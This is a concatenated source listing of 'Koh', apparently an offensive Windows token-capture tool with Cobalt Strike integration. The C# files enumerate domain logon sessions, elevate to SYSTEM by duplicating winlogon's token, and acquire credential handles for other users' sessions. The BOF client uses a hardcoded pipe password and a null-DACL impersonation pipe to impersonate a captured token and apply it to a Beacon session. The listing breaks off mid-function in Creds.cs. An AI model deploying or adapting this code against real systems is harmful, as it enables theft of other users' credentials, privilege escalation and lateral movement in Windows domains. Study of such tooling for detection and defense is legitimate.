87 | $bofArgs = bof_pack($bid, "iiz", 103, 0, "");
88 | beacon_inline_execute($bid, $bofData, "go", $bofArgs);
89 | }
90 | else {
91 | berror($1, "Usage: koh filter [list | add SID | remove SID | reset]");
92 | return;
93 | }
94 | }
95 | else if($command iswm "groups") {
96 | if($3 != $null) {
97 | $bofArgs = bof_pack($bid, "iiz", 200, $3, "");
98 | beacon_inline_execute($bid, $bofData, "go", $bofArgs);
99 | }
100 | else {
101 | berror($1, "LUID required!");
102 | return;
103 | }
104 | }
105 | else if($command iswm "impersonate") {
106 | if($3 != $null) {
107 | $bofArgs = bof_pack($bid, "iiz", 300, $3, "");
108 | beacon_inline_execute($bid, $bofData, "go", $bofArgs);
109 | }
110 | else {
111 | berror($1, "LUID required!");
112 | return;
113 | }
114 | }
115 | else if($command iswm "release") {
116 | if($3 iswm "all") {
117 | $bofArgs = bof_pack($bid, "iiz", 400, 0, "");
118 | beacon_inline_execute($bid, $bofData, "go", $bofArgs);
119 | }
120 | else {
121 | if($3 != $null) {
122 | $bofArgs = bof_pack($bid, "iiz", 401, $3, "");
123 | beacon_inline_execute($bid, $bofData, "go", $bofArgs);
124 | }
125 | else {
126 | berror($1, "'release all' or 'release LUID' required");
127 | }
128 | }
129 | }
130 | else if($command iswm "exit") {
131 | $bofArgs = bof_pack($bid, "iiz", 57005, 0, "");
132 | beacon_inline_execute($bid, $bofData, "go", $bofArgs);
133 | }
134 | else {
135 | berror($1, "Invalid usage!");
136 | }
137 | }
138 |
--------------------------------------------------------------------------------
/Koh/SecBufferDesc.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Runtime.InteropServices;
4 |
5 | namespace Koh
6 | {
7 | // SecBufferDesc structure - https://docs.microsoft.com/en-us/windows/win32/api/sspi/ns-sspi-secbufferdesc
8 | // From https://github.com/mono/linux-packaging-mono/blob/d356d2b7db91d62b80a61eeb6fbc70a402ac3cac/external/corefx/src/System.Data.SqlClient/tests/Tools/TDS/TDS.EndPoint/SSPI/SecBufferDesc.cs
9 | // MIT license
10 | [StructLayout(LayoutKind.Sequential)]
11 | public struct SecBufferDesc : IDisposable
12 | {
13 | public int Version;
14 | public int BufferCount;
15 | public IntPtr BuffersPtr;
16 |
17 | ///
18 | /// Initialization constructor
19 | ///
20 | /// Size of the buffer to allocate
21 | internal SecBufferDesc(int size)
22 | {
23 | // Set version to SECBUFFER_VERSION
24 | Version = 0;
25 |
26 | // Set the number of buffers
27 | BufferCount = 1;
28 |
29 | // Allocate a security buffer of the requested size
30 | var secBuffer = new SecBuffer(size);
31 |
32 | // Allocate a native chunk of memory for security buffer
33 | BuffersPtr = Marshal.AllocHGlobal(Marshal.SizeOf(secBuffer));
34 |
35 | try
36 | {
37 | // Copy managed data into the native memory
38 | Marshal.StructureToPtr(secBuffer, BuffersPtr, false);
39 | }
40 | catch (Exception)
41 | {
42 | // Delete native memory
43 | Marshal.FreeHGlobal(BuffersPtr);
44 |
45 | // Reset native buffer pointer
46 | BuffersPtr = IntPtr.Zero;
47 |
48 | // Re-throw exception
49 | throw;
50 | }
51 | }
52 |
53 | ///
54 | /// Initialization constructor for byte array
55 | ///
56 | /// Data
57 | internal SecBufferDesc(byte[] buffer)
58 | {
59 | // Set version to SECBUFFER_VERSION
60 | Version = 0;
61 |
62 | // We have only one buffer
63 | BufferCount = 1;
64 |
65 | // Allocate security buffer
66 | var secBuffer = new SecBuffer(buffer);
67 |
68 | // Allocate native memory for managed block
69 | BuffersPtr = Marshal.AllocHGlobal(Marshal.SizeOf(secBuffer));
70 |
71 | try
72 | {
73 | // Copy managed data into the native memory
74 | Marshal.StructureToPtr(secBuffer, BuffersPtr, false);
75 | }
76 | catch (Exception)
77 | {
78 | // Delete native memory
79 | Marshal.FreeHGlobal(BuffersPtr);
80 |
81 | // Reset native buffer pointer
82 | BuffersPtr = IntPtr.Zero;
83 |
84 | // Re-throw exception
85 | throw;
86 | }
87 | }
88 |
89 | ///
90 | /// Dispose security buffer descriptor
91 | ///
92 | public void Dispose()
93 | {
94 | // Check if we have a buffer
95 | if (BuffersPtr != IntPtr.Zero)
96 | {
97 | // Iterate through each buffer than we manage
98 | for (var index = 0; index < BufferCount; index++)
99 | {
100 | // Calculate pointer to the buffer
101 | var currentBufferPtr = new IntPtr(BuffersPtr.ToInt64() + (index * Marshal.SizeOf(typeof(SecBuffer))));
102 |
103 | // Project the buffer into the managed world
104 | var secBuffer = (SecBuffer)Marshal.PtrToStructure(currentBufferPtr, typeof(SecBuffer));
105 |
106 | // Dispose it
107 | secBuffer.Dispose();
108 | }
109 |
110 | // Release native memory block
111 | Marshal.FreeHGlobal(BuffersPtr);
112 |
113 | // Reset buffer pointer
114 | BuffersPtr = IntPtr.Zero;
115 | }
116 | }
117 |
118 | ///
119 | /// Convert to byte array
120 | ///
121 | internal byte[] ToArray()
122 | {
123 | // Check if we have a buffer
124 | if (BuffersPtr == IntPtr.Zero)
125 | {
126 | // We don't have a buffer
127 | return new byte[] { };
128 | }
129 |
130 | // Prepare a memory stream to contain all the buffers
131 | var outputStream = new MemoryStream();
132 |
133 | // Iterate through each buffer and write the data into the stream
134 | for (var index = 0; index < BufferCount; index++)
135 | {
136 | // Calculate pointer to the buffer
137 | var currentBufferPtr = new IntPtr(BuffersPtr.ToInt64() + (index * Marshal.SizeOf(typeof(SecBuffer))));
138 |
139 | // Project the buffer into the managed world
140 | var secBuffer = (SecBuffer)Marshal.PtrToStructure(currentBufferPtr, typeof(SecBuffer));
141 |
142 | // Get the byte buffer
143 | var secBufferBytes = secBuffer.ToArray();
144 |
145 | // Write buffer to the stream
146 | outputStream.Write(secBufferBytes, 0, secBufferBytes.Length);
147 | }
148 |
149 | // Convert to byte array
150 | return outputStream.ToArray();
151 | }
152 |
153 | public static SecBufferDesc Empty
154 | {
155 | get
156 | {
157 | return new SecBufferDesc
158 | {
159 | Version = 0,
160 | BufferCount = 0,
161 | BuffersPtr = IntPtr.Zero
162 | };
163 | }
164 | }
165 | }
166 | }
167 |
--------------------------------------------------------------------------------
/Koh/Find.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Runtime.InteropServices;
4 |
5 | namespace Koh
6 | {
7 | class Find
8 | {
9 | public struct FoundSession
10 | {
11 | // represents a found/enumerated logon session
12 | public string UserName;
13 | public string CredentialUserName;
14 | public string Luid;
15 | public string SID;
16 | public Interop.SECURITY_LOGON_TYPE LogonType;
17 | public string AuthPackage;
18 |
19 | public FoundSession(string userName, string credentialUserName, string luid, string sid, Interop.SECURITY_LOGON_TYPE logonType, string authPackage)
20 | {
21 | UserName = userName;
22 | CredentialUserName = credentialUserName;
23 | Luid = luid;
24 | SID = sid;
25 | LogonType = logonType;
26 | AuthPackage = authPackage;
27 | }
28 | }
29 |
30 | public static Dictionary LogonSessions(bool DEBUG = false)
31 | {
32 | // finds all logon sessions that match our specific criteria:
33 | // - user SID is domain formatted
34 | // - logonType != Network
35 |
36 | var logonSessions = new Dictionary();
37 |
38 | try
39 | {
40 | var systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); // win32 systemdate
41 |
42 | // get an array of pointers to LUIDs
43 | var ret = Interop.LsaEnumerateLogonSessions(out var count, out var luidPtr);
44 |
45 | if (ret != 0)
46 | {
47 | Console.WriteLine($" [!] Error with calling LsaEnumerateLogonSessions: {ret}");
48 | return logonSessions;
49 | }
50 |
51 | for (ulong i = 0; i < count; i++)
52 | {
53 | ret = Interop.LsaGetLogonSessionData(luidPtr, out var sessionData);
54 | if (ret != 0)
55 | {
56 | Console.WriteLine($" [!] Error with calling LsaGetLogonSessionData on LUID {luidPtr}: {ret}");
57 | continue;
58 | }
59 |
60 | var data = (Interop.SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(Interop.SECURITY_LOGON_SESSION_DATA));
61 |
62 | // if we have a valid logon
63 | if (data.PSiD != IntPtr.Zero)
64 | {
65 | // get the account username
66 | var username = Marshal.PtrToStringUni(data.Username.Buffer).Trim();
67 |
68 | // convert the security identifier of the user
69 | var sid = new System.Security.Principal.SecurityIdentifier(data.PSiD);
70 |
71 | // domain for this account
72 | var domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim();
73 |
74 | // authentication package
75 | var authPackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim();
76 |
77 | // logon type
78 | var logonType = (Interop.SECURITY_LOGON_TYPE)data.LogonType;
79 |
80 | // datetime the session was logged in
81 | var logonTime = systime.AddTicks((long)data.LoginTime);
82 |
83 | // user's logon server
84 | var logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim();
85 |
86 | // logon server's DNS domain
87 | var dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim();
88 |
89 | // user principalname
90 | var upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim();
91 |
92 | var logonID = "";
93 | try { logonID = data.LoginID.LowPart.ToString(); }
94 | catch { }
95 |
96 | // get the credential username (i.e., for NewCredentials)
97 | var credentialUserName = Creds.GetCredentialUserName(new LUID(logonID), DEBUG);
98 |
99 | var userSID = "";
100 | try { userSID = sid.Value; }
101 | catch { }
102 |
103 | // domain users only (or NewCredentials/Type 9)
104 | if (Helpers.IsDomainSid(userSID) || logonType == Interop.SECURITY_LOGON_TYPE.NewCredentials)
105 | {
106 | // Network logon types aren't going to have any credentials
107 | if (logonType != Interop.SECURITY_LOGON_TYPE.Network)
108 | {
109 | string identifier = userSID + credentialUserName + authPackage + logonType;
110 |
111 | FoundSession foundSession = new FoundSession($"{domain}\\{username}", credentialUserName, logonID, userSID, logonType, authPackage);
112 |
113 | if (!logonSessions.ContainsKey(identifier))
114 | {
115 | logonSessions.Add(identifier, foundSession);
116 | }
117 | else
118 | {
119 | logonSessions[identifier] = foundSession;
120 | }
121 | }
122 | }
123 | }
124 |
125 | // move the pointer forward
126 | luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID)));
127 | Interop.LsaFreeReturnBuffer(sessionData);
128 | }
129 | Interop.LsaFreeReturnBuffer(luidPtr);
130 | }
131 | catch(Exception e)
132 | {
133 | Console.WriteLine($" [!] Error in LogonSessions(): {e}");
134 | }
135 |
136 | return logonSessions;
137 | }
138 | }
139 | }
140 |
--------------------------------------------------------------------------------
/Koh/Helpers.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Diagnostics;
5 | using System.Runtime.InteropServices;
6 | using System.Security.Principal;
7 | using System.Text;
8 | using System.Text.RegularExpressions;
9 |
10 | namespace Koh
11 | {
12 | class Helpers
13 | {
14 | private const string Version = "1.0.0";
15 |
16 | public static void Logo()
17 | {
18 | Console.WriteLine("\n __ ___ ______ __ __ ");
19 | Console.WriteLine("| |/ / / __ \\ | | | | ");
20 | Console.WriteLine("| ' / | | | | | |__| | ");
21 | Console.WriteLine("| < | | | | | __ | ");
22 | Console.WriteLine("| . \\ | `--' | | | | | ");
23 | Console.WriteLine("|__|\\__\\ \\______/ |__| |__| ");
24 | Console.WriteLine($" v{Version}\n");
25 | }
26 |
27 | public static void Usage()
28 | {
29 | Console.WriteLine("\n Koh.exe [GroupSID... GroupSID2 ...]\n");
30 | }
31 |
32 | public static string MD5(string input)
33 | {
34 | // Use input string to calculate MD5 hash
35 | using (System.Security.Cryptography.MD5 md5 = System.Security.Cryptography.MD5.Create())
36 | {
37 | byte[] inputBytes = System.Text.Encoding.ASCII.GetBytes(input);
38 | byte[] hashBytes = md5.ComputeHash(inputBytes);
39 |
40 | // Convert the byte array to hexadecimal string
41 | StringBuilder sb = new StringBuilder();
42 | for (int i = 0; i < hashBytes.Length; i++)
43 | {
44 | sb.Append(hashBytes[i].ToString("X2"));
45 | }
46 | return sb.ToString().ToLower();
47 | }
48 | }
49 |
50 | public static string GetMachineName()
51 | {
52 | // grab the current computer NETBIOS name
53 |
54 | StringBuilder name = new StringBuilder(260);
55 | int nSize = 260;
56 | if (!Interop.GetComputerName(name, ref nSize))
57 | {
58 | var ex = new Win32Exception(Marshal.GetLastWin32Error());
59 | Console.WriteLine($" [X] Error retrieving computer name via GetComputerName(): {ex.Message} ({ex.ErrorCode})");
60 | }
61 | return $"{name}";
62 | }
63 |
64 | public static bool CheckTokenForGroup(IntPtr token, string groupSID)
65 | {
66 | // Takes a token pointer and a group SID string, and returns if the given token has that specific group present
67 | // Used for group SID filtering
68 |
69 | List groupSids = GetTokenGroups(token);
70 | return groupSids.Contains(groupSID);
71 | }
72 |
73 | public static LUID GetTokenOrigin(IntPtr token)
74 | {
75 | // gets the origin LUID for the specified token
76 |
77 | IntPtr pOrigin = Helpers.GetTokenInfo(token, Interop.TOKEN_INFORMATION_CLASS.TokenOrigin);
78 | Interop.TOKEN_ORIGIN origin = (Interop.TOKEN_ORIGIN)Marshal.PtrToStructure(pOrigin, typeof(Interop.TOKEN_ORIGIN));
79 | Marshal.FreeHGlobal(pOrigin);
80 | return origin.LoginID;
81 | }
82 |
83 | public static List GetTokenGroups(IntPtr token)
84 | {
85 | // returns an arraylist of all of the group SIDs present for a specified token
86 |
87 | List groupSids = new List();
88 |
89 | try
90 | {
91 | IntPtr pGroups = GetTokenInfo(token, Interop.TOKEN_INFORMATION_CLASS.TokenGroups);
92 |
93 | Interop.TOKEN_GROUPS groups = (Interop.TOKEN_GROUPS)Marshal.PtrToStructure(pGroups, typeof(Interop.TOKEN_GROUPS));
94 | string[] userSIDS = new string[groups.GroupCount];
95 | int sidAndAttrSize = Marshal.SizeOf(new Interop.SID_AND_ATTRIBUTES());
96 |
97 | for (int i = 0; i < groups.GroupCount; i++)
98 | {
99 | Interop.SID_AND_ATTRIBUTES sidAndAttributes = (Interop.SID_AND_ATTRIBUTES)Marshal.PtrToStructure(
100 | new IntPtr(pGroups.ToInt64() + i * sidAndAttrSize + IntPtr.Size), typeof(Interop.SID_AND_ATTRIBUTES));
101 |
102 | string sidString = "";
103 | Interop.ConvertSidToStringSid(sidAndAttributes.Sid, out sidString);
104 |
105 | groupSids.Add(sidString);
106 | }
107 |
108 | Marshal.FreeHGlobal(pGroups);
109 | }
110 | catch { }
111 |
112 | return groupSids;
113 | }
114 |
115 | public static IntPtr GetTokenInfo(IntPtr token, Interop.TOKEN_INFORMATION_CLASS informationClass)
116 | {
117 | // Wrapper that uses GetTokenInformation to retrieve the specified TOKEN_INFORMATION_CLASS
118 |
119 | var TokenInfLength = 0;
120 |
121 | // first call gets length of TokenInformation
122 | var Result = Interop.GetTokenInformation(token, informationClass, IntPtr.Zero, TokenInfLength, out TokenInfLength);
123 | var TokenInformation = Marshal.AllocHGlobal(TokenInfLength);
124 | Result = Interop.GetTokenInformation(token, informationClass, TokenInformation, TokenInfLength, out TokenInfLength);
125 |
126 | if (!Result)
127 | {
128 | Marshal.FreeHGlobal(TokenInformation);
129 | throw new Exception("Unable to get token info.");
130 | }
131 |
132 | return TokenInformation;
133 | }
134 |
135 | public static bool IsDomainSid(string sid)
136 | {
137 | // Returns true if the SID string matches a domain SID pattern
138 |
139 | string pattern = @"^S-1-[0-59]-\d{2}-\d{8,10}-\d{8,10}-\d{8,10}-[1-9]\d{2}";
140 | Match m = Regex.Match(sid, pattern, RegexOptions.IgnoreCase);
141 | return m.Success;
142 | }
143 |
144 | public static bool IsHighIntegrity()
145 | {
146 | // Returns true if the current process is running with administrative privs in a high integrity context
147 |
148 | WindowsIdentity identity = WindowsIdentity.GetCurrent();
149 | WindowsPrincipal principal = new WindowsPrincipal(identity);
150 | return principal.IsInRole(WindowsBuiltInRole.Administrator);
151 | }
152 |
153 | public static bool GetSystem()
154 | {
155 | // helper to elevate to SYSTEM so we can get SeTcbPrivilege
156 |
157 | if (IsHighIntegrity())
158 | {
159 | IntPtr hToken = IntPtr.Zero;
160 |
161 | // Open winlogon's token with TOKEN_DUPLICATE accesss so we can make a copy of the token with DuplicateToken
162 | Process[] processes = Process.GetProcessesByName("winlogon");
163 | IntPtr handle = processes[0].Handle;
164 |
165 | // TOKEN_DUPLICATE = 0x0002
166 | bool success = Interop.OpenProcessToken(handle, 0x0002, out hToken);
167 | if (!success)
168 | {
169 | Console.WriteLine(" [!] GetSystem() - OpenProcessToken failed!");
170 | return false;
171 | }
172 |
173 | // make a copy of the NT AUTHORITY\SYSTEM token from winlogon
174 | // 2 == SecurityImpersonation
175 | IntPtr hDupToken = IntPtr.Zero;
176 | success = Interop.DuplicateToken(hToken, 2, ref hDupToken);
177 | if (!success)
178 | {
179 | Console.WriteLine(" [!] GetSystem() - DuplicateToken failed!");
180 | return false;
181 | }
182 |
183 | success = Interop.ImpersonateLoggedOnUser(hDupToken);
184 | if (!success)
185 | {
186 | Console.WriteLine(" [!] GetSystem() - ImpersonateLoggedOnUser failed!");
187 | return false;
188 | }
189 |
190 | // clean up the handles we created
191 | Interop.CloseHandle(hToken);
192 | Interop.CloseHandle(hDupToken);
193 |
194 | if (!IsSystem())
195 | {
196 | return false;
197 | }
198 |
199 | return true;
200 | }
201 | else
202 | {
203 | return false;
204 | }
205 | }
206 |
207 | public static bool IsSystem()
208 | {
209 | // Returns true if the current context is "NT AUTHORITY\SYSTEM"
210 |
211 | var currentSid = WindowsIdentity.GetCurrent().User;
212 | return currentSid.IsWellKnown(WellKnownSidType.LocalSystemSid);
213 | }
214 | }
215 | }
216 |
--------------------------------------------------------------------------------
/Clients/BOF/KohClient.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "beacon.h"
4 | #include "KohClient.h"
5 |
6 | #define BUFSIZE 1024
7 |
8 |
9 | void go(char* args, unsigned long alen) {
10 |
11 | char kohPassword[] = "password";
12 | char kohPipe[] = "\\\\.\\pipe\\imposecost";
13 | char impersonationPipe[] = "\\\\.\\pipe\\imposingcost";
14 |
15 | PBYTE lpPipeContent = NULL;
16 | HANDLE serverPipe;
17 | HANDLE clientPipe;
18 | HANDLE threadToken;
19 | HANDLE duplicatedToken;
20 | DWORD commandBytesWritten = 0;
21 | DWORD bytesRead = 0;
22 | DWORD err = 0;
23 | BOOLEAN bEnabled = FALSE;
24 | BOOL fSuccess = FALSE;
25 | wchar_t message[1] = { 0 };
26 |
27 | // null security descriptor for the impersonation named pipe
28 | SECURITY_DESCRIPTOR SD;
29 | SECURITY_ATTRIBUTES SA;
30 | ADVAPI32$InitializeSecurityDescriptor(&SD, SECURITY_DESCRIPTOR_REVISION);
31 | ADVAPI32$SetSecurityDescriptorDacl(&SD, TRUE, NULL, FALSE);
32 | SA.nLength = sizeof(SA);
33 | SA.lpSecurityDescriptor = &SD;
34 | SA.bInheritHandle = TRUE;
35 |
36 | // parse packed Beacon commands
37 | datap parser = {0};
38 | char * kohCommand = NULL;
39 | int intKohCommand = 0;
40 | int LUID = 0;
41 | char* filterSID = NULL;
42 | BeaconDataParse(&parser, args, alen);
43 | intKohCommand = BeaconDataInt(&parser);
44 | LUID = BeaconDataInt(&parser);
45 | filterSID = BeaconDataExtract(&parser, NULL);
46 |
47 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Using KohPipe : %s\n", kohPipe);
48 |
49 | // connect to the Koh communication named pipe
50 | clientPipe = KERNEL32$CreateFileA(kohPipe, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
51 |
52 | if (clientPipe == INVALID_HANDLE_VALUE) {
53 | err = KERNEL32$GetLastError();
54 | if(err == 2) {
55 | BeaconPrintf(CALLBACK_ERROR, "[!] Connecting to named pipe %s using KERNEL32$CreateFileA failed file not found.\n", kohPipe);
56 | }
57 | else {
58 | BeaconPrintf(CALLBACK_ERROR, "[!] Connecting to named pipe %s using KERNEL32$CreateFileA failed with: %d\n", kohPipe, KERNEL32$GetLastError());
59 | }
60 | goto cleanup;
61 | }
62 |
63 |
64 | // Koh commands:
65 | // 1 - list captured tokens
66 | // 2 LUID - list groups for a captured token
67 |
68 | // 100 - list group SIDs currently used for capture filtering
69 | // 101 SID - adds group SID for capture filtering
70 | // 102 SID - removes a group SID for capture filtering
71 | // 103 - resets all group SIDs for capture filtering
72 |
73 | // 200 LUID - lists the groups for the specified LUID/captured token
74 |
75 | // 300 LUID - impersonate a captured token
76 |
77 | // 400 - release all tokens
78 | // 401 LUID - release a token for the specifed LUID
79 |
80 | // 57005 - signal Koh to exit
81 | kohCommand = (char*)KERNEL32$LocalAlloc(LPTR, MSVCRT$strlen(kohPassword) + 100);
82 | if(intKohCommand == 1){
83 | MSVCRT$sprintf(kohCommand, "%s list", kohPassword);
84 | }
85 | else if(intKohCommand == 2){
86 | MSVCRT$sprintf(kohCommand, "%s list %d", kohPassword, LUID);
87 | }
88 | else if(intKohCommand == 100){
89 | MSVCRT$sprintf(kohCommand, "%s filter list", kohPassword);
90 | }
91 | else if(intKohCommand == 101){
92 | MSVCRT$sprintf(kohCommand, "%s filter add %s", kohPassword, filterSID);
93 | }
94 | else if(intKohCommand == 102){
95 | MSVCRT$sprintf(kohCommand, "%s filter remove %s", kohPassword, filterSID);
96 | }
97 | else if(intKohCommand == 103){
98 | MSVCRT$sprintf(kohCommand, "%s filter reset", kohPassword);
99 | }
100 | else if(intKohCommand == 200){
101 | MSVCRT$sprintf(kohCommand, "%s groups %d", kohPassword, LUID);
102 | }
103 | else if(intKohCommand == 300){
104 | MSVCRT$sprintf(kohCommand, "%s impersonate %d %s", kohPassword, LUID, impersonationPipe);
105 | }
106 | else if(intKohCommand == 400){
107 | MSVCRT$sprintf(kohCommand, "%s release all", kohPassword);
108 | }
109 | else if(intKohCommand == 401){
110 | MSVCRT$sprintf(kohCommand, "%s release %d", kohPassword, LUID);
111 | }
112 | else if(intKohCommand == 57005){
113 | // 0xDEAD == 57005
114 | MSVCRT$sprintf(kohCommand, "%s exit", kohPassword);
115 | }
116 |
117 | // send the Koh command to the named pipe server
118 | if(!KERNEL32$WriteFile(clientPipe, kohCommand, MSVCRT$strlen(kohCommand), &commandBytesWritten, 0)) {
119 | BeaconPrintf(CALLBACK_ERROR, "[!] Writing to named pipe %s using KERNEL32$WriteFile failed with: %d\n", kohPipe, KERNEL32$GetLastError());
120 | goto cleanup;
121 | }
122 |
123 | lpPipeContent = (PBYTE)KERNEL32$LocalAlloc(LPTR, BUFSIZE);
124 |
125 | // command 300 == impersonation
126 | if(intKohCommand == 300) {
127 | if(NTDLL$RtlAdjustPrivilege(29, TRUE, FALSE, &bEnabled) != 0) {
128 | BeaconPrintf(CALLBACK_ERROR, "[!] Failed to enable SeImpersonatePrivilege: %d\n", KERNEL32$GetLastError());
129 | goto cleanup;
130 | }
131 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Enabled SeImpersonatePrivilege\n");
132 |
133 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Creating impersonation named pipe: %s\n", impersonationPipe);
134 | serverPipe = KERNEL32$CreateNamedPipeA(impersonationPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, &SA);
135 |
136 | if (serverPipe == INVALID_HANDLE_VALUE) {
137 | BeaconPrintf(CALLBACK_ERROR, "[!] Creating named pipe %s using KERNEL32$CreateNamedPipeA failed with: %d\n", impersonationPipe, KERNEL32$GetLastError());
138 | goto cleanup;
139 | }
140 |
141 | if (!KERNEL32$ConnectNamedPipe(serverPipe, NULL)) {
142 | BeaconPrintf(CALLBACK_ERROR, "[!] KERNEL32$ConnectNamedPipe failed: %d\n", KERNEL32$GetLastError());
143 | goto cleanup;
144 | }
145 |
146 | // read 1 byte to satisfy the requirement that data is read from the pipe before it's used for impersonation
147 | fSuccess = KERNEL32$ReadFile(serverPipe, &message, 1, &bytesRead, NULL);
148 | if (!fSuccess) {
149 | BeaconPrintf(CALLBACK_ERROR, "[!] KERNEL32$ReadFile failed: %d\n", KERNEL32$GetLastError());
150 | goto cleanup;
151 | }
152 |
153 | // perform the named pipe impersonation of the target token
154 | if(ADVAPI32$ImpersonateNamedPipeClient(serverPipe)) {
155 |
156 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Impersonation succeeded. Duplicating token.\n");
157 |
158 | if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &threadToken)) {
159 | BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$OpenThreadToken failed with: %d\n", KERNEL32$GetLastError());
160 | ADVAPI32$RevertToSelf();
161 | goto cleanup;
162 | }
163 |
164 | if (!ADVAPI32$DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &duplicatedToken)) {
165 | BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$DuplicateTokenEx failed with: %d\n", KERNEL32$GetLastError());
166 | ADVAPI32$RevertToSelf();
167 | goto cleanup;
168 | }
169 |
170 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Impersonated token successfully duplicated.\n");
171 |
172 | ADVAPI32$RevertToSelf();
173 |
174 | // register the token with the current beacon session
175 | if(!BeaconUseToken(duplicatedToken)) {
176 | BeaconPrintf(CALLBACK_ERROR, "[!] Error applying the token to the current context.\n");
177 | goto cleanup;
178 | }
179 |
180 | // clean up so there's not an additional token leak
181 | KERNEL32$CloseHandle(threadToken);
182 | KERNEL32$CloseHandle(duplicatedToken);
183 | KERNEL32$DisconnectNamedPipe(serverPipe);
184 | KERNEL32$CloseHandle(serverPipe);
185 | }
186 | else {
187 | BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$ImpersonateNamedPipeClient failed with: %d\n", KERNEL32$GetLastError());
188 | KERNEL32$DisconnectNamedPipe(serverPipe);
189 | KERNEL32$CloseHandle(serverPipe);
190 | goto cleanup;
191 | }
192 | }
193 |
194 | // read any output from the server
195 | do {
196 | // based on https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-client
197 | fSuccess = KERNEL32$ReadFile(clientPipe, lpPipeContent, BUFSIZE, &bytesRead, NULL);
198 |
199 | if (!fSuccess && KERNEL32$GetLastError() != ERROR_MORE_DATA)
200 | break;
201 |
202 | if (!fSuccess) {
203 | BeaconPrintf(CALLBACK_ERROR, "[!] KERNEL32$ReadFile failed with: %d\n", KERNEL32$GetLastError());
204 | break;
205 | }
206 |
207 | BeaconPrintf(CALLBACK_OUTPUT, "%s", lpPipeContent);
208 | }
209 | while (!fSuccess);
210 |
211 | cleanup:
212 | KERNEL32$CloseHandle(clientPipe);
213 | KERNEL32$LocalFree(kohCommand);
214 | KERNEL32$LocalFree(lpPipeContent);
215 | }
216 |
--------------------------------------------------------------------------------
/Koh/Creds.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Concurrent;
3 | using System.Runtime.InteropServices;
4 |
5 | namespace Koh
6 | {
7 | class Creds
8 | {
9 | private const int MAX_TOKEN_SIZE = 12288;
10 | private const uint SEC_E_OK = 0;
11 | private const uint SEC_I_CONTINUE_NEEDED = 0x90312;
12 | private const int SECPKG_CRED_BOTH = 3;
13 | private const int ISC_REQ_CONNECTION = 0x00000800;
14 | private const int SECURITY_NATIVE_DREP = 0x10;
15 |
16 | public static Interop.SECURITY_HANDLE GetCredentialHandle(LUID luid, ConcurrentDictionary meta = null)
17 | {
18 | // Acquires a credential handle for the specified logon session ID (LUID)
19 |
20 | IntPtr luidPtr = IntPtr.Zero;
21 | Interop.SECURITY_HANDLE cred = Interop.SECURITY_HANDLE.Empty;
22 | Interop.FILETIME clientLifeTime = new Interop.FILETIME();
23 | luidPtr = Marshal.AllocHGlobal(Marshal.SizeOf(luid));
24 | Marshal.StructureToPtr(luid, luidPtr, false);
25 |
26 | var res = Interop.AcquireCredentialsHandle(
27 | "",
28 | "Negotiate",
29 | SECPKG_CRED_BOTH,
30 | luidPtr,
31 | IntPtr.Zero,
32 | IntPtr.Zero,
33 | IntPtr.Zero,
34 | ref cred,
35 | ref clientLifeTime
36 | );
37 | if (res != SEC_E_OK)
38 | {
39 | if (res == 0x8009030e)
40 | {
41 | Console.WriteLine($" [X] AcquireCredentialsHandle for LUID {luid} failed. Error: SEC_E_NO_CREDENTIALS");
42 | }
43 | else
44 | {
45 | Console.WriteLine($" [X] AcquireCredentialsHandle for LUID {luid} failed. Error: 0x{res:x8}");
46 | }
47 |
48 | if (meta != null)
49 | {
50 | meta["AcquireCredentialsHandleError"] = meta["AcquireCredentialsHandleError"] + 1;
51 | }
52 | }
53 |
54 | // // TODO: try to decipher the clientLifeTime struct
55 | //long fileTime = (long)((clientLifeTime.HighPart << 32) + clientLifeTime.LowPart);
56 | //Console.WriteLine($"[*] fileTime: {fileTime}");
57 | //DateTime dt = DateTime.FromFileTimeUtc(fileTime);
58 | //Console.WriteLine($"[*] Credential dt: {dt}");
59 |
60 | Marshal.FreeHGlobal(luidPtr);
61 | luidPtr = IntPtr.Zero;
62 |
63 | return cred;
64 | }
65 |
66 |
67 | public static string GetCredentialUserName(LUID luid, bool DEBUG = false)
68 | {
69 | // Return the true username for a credential in case we have a NewCredentials/Type 9 situation
70 |
71 | Interop.SECURITY_HANDLE cred = GetCredentialHandle(luid);
72 |
73 | if ((cred.HighPart == IntPtr.Zero) && (cred.LowPart == IntPtr.Zero))
74 | {
75 | return "";
76 | }
77 |
78 | if (DEBUG) Console.WriteLine($"DEBUG Successfully got a credential handle to LUID: {luid}");
79 |
80 | // SECPKG_CRED_ATTR_NAMES = 1
81 | uint ret = Interop.QueryCredentialsAttributes(ref cred, 1, out var credName);
82 | bool delSuccess = Interop.FreeCredentialsHandle(ref cred);
83 |
84 | if (ret != 0)
85 | {
86 | if (DEBUG) Console.WriteLine($"DEBUG Error running QueryCredentialsAttributes: {ret}");
87 | return "";
88 | }
89 | else
